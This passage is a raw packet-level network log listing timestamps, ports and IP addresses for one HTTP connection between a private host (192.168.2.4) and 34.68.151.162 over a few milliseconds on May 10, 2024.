May 10, 2024 09:20:58.260472059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260481119 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260483980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260499001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260507107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260510921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260519981 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260523081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260535955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260545015 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260546923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260559082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260567904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260570049 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260582924 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260582924 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260596037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260601997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260608912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260634899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260636091 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260642052 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260648012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260658979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260665894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260669947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260682106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260684013 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260695934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260708094 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260716915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260719061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260735035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260735989 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260747910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260757923 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260770082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260771990 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260782003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260786057 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260795116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260801077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260807991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260813951 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260819912 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260833979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260843039 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260845900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260868073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260879993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260886908 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260890961 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260900974 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260904074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260915995 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260927916 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260937929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260940075 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260952950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260965109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260965109 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260977030 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260983944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.260989904 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.260998011 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261013985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261025906 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261037111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261040926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261049032 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261050940 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261060953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261073112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261084080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261090040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261096001 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261110067 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261121988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261122942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261132956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261137962 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261163950 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261164904 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261176109 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261187077 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261187077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261199951 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261210918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261212111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261224985 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261234045 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261235952 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261248112 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261256933 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261260986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261271000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261274099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261298895 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261303902 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261312008 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261322975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261323929 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261336088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261347055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261347055 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261360884 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261369944 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261373043 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261384010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261385918 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261399031 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261409044 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261409998 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261421919 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261432886 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261435986 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261449099 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261460066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261460066 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261471033 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261473894 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261483908 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261495113 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261502028 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261507988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261519909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261522055 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261538029 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261540890 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261554003 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261559010 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261567116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261579037 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261579037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261590004 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261598110 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261601925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261615038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261626005 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261629105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261639118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261651039 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261653900 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261657953 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261666059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261671066 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261697054 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261699915 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261708975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261715889 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261720896 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261734009 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261739969 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261746883 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261759996 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261763096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261771917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261779070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261784077 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261795044 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261801958 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261809111 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261820078 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261826038 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261840105 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261841059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261853933 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261862040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261868000 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261877060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261879921 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261889935 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261893988 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261903048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261907101 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261915922 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261919975 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261930943 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261933088 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261943102 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261946917 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261956930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261960983 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261970997 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261974096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.261985064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.261987925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262001038 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262001991 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262012959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262025118 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262036085 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262044907 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262048006 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262062073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262063980 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262074947 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262079000 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262089014 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262104988 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262114048 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262125969 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262126923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262139082 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262147903 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262151957 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262164116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262165070 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262176991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262187958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262197971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262198925 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262212992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262223959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262237072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262240887 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262248993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262259960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262260914 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262273073 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262284040 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262289047 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262296915 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262305021 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262309074 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262319088 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262321949 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262334108 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262342930 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262360096 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262365103 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262375116 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262387991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262398958 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262406111 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262413025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262417078 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262425900 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262438059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262449980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262459993 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262474060 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262481928 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262494087 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262500048 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262516975 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262521029 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262533903 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262537956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262547016 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262552977 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262559891 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262567043 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262572050 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262582064 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262583971 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262597084 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262607098 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262609959 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262623072 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262631893 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262648106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262649059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262661934 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262670040 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262674093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262684107 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262685061 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262700081 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262701035 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262712955 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262725115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262734890 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262737036 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262746096 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262763977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262773037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262774944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262794971 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262799025 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262810946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262816906 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262824059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262831926 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262837887 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262845993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262851954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262859106 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262866020 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262873888 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262877941 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262887955 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262890100 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262902021 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262913942 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262924910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262924910 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262938023 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262940884 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262949944 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262960911 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262960911 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262974024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262984037 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.262984991 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262998104 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.262998104 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263010979 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263021946 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263031960 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263035059 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263046980 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263056993 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263060093 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263072968 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263079882 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263087034 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263092041 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263099909 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263112068 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263113022 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263124943 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263134956 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263135910 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263149977 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263158083 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263161898 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263174057 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263181925 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263185024 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263195992 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263197899 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263211012 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263219118 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263223886 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263236046 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263246059 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263247967 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263257027 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263261080 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263273954 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263282061 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263286114 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263298035 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263309956 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263320923 CEST	49754	80	192.168.2.4	34.68.151.162
May 10, 2024 09:20:58.263322115 CEST	80	49754	34.68.151.162	192.168.2.4
May 10, 2024 09:20:58.263335943 CEST	80	49754	34.68.151.162	192.168.2.4
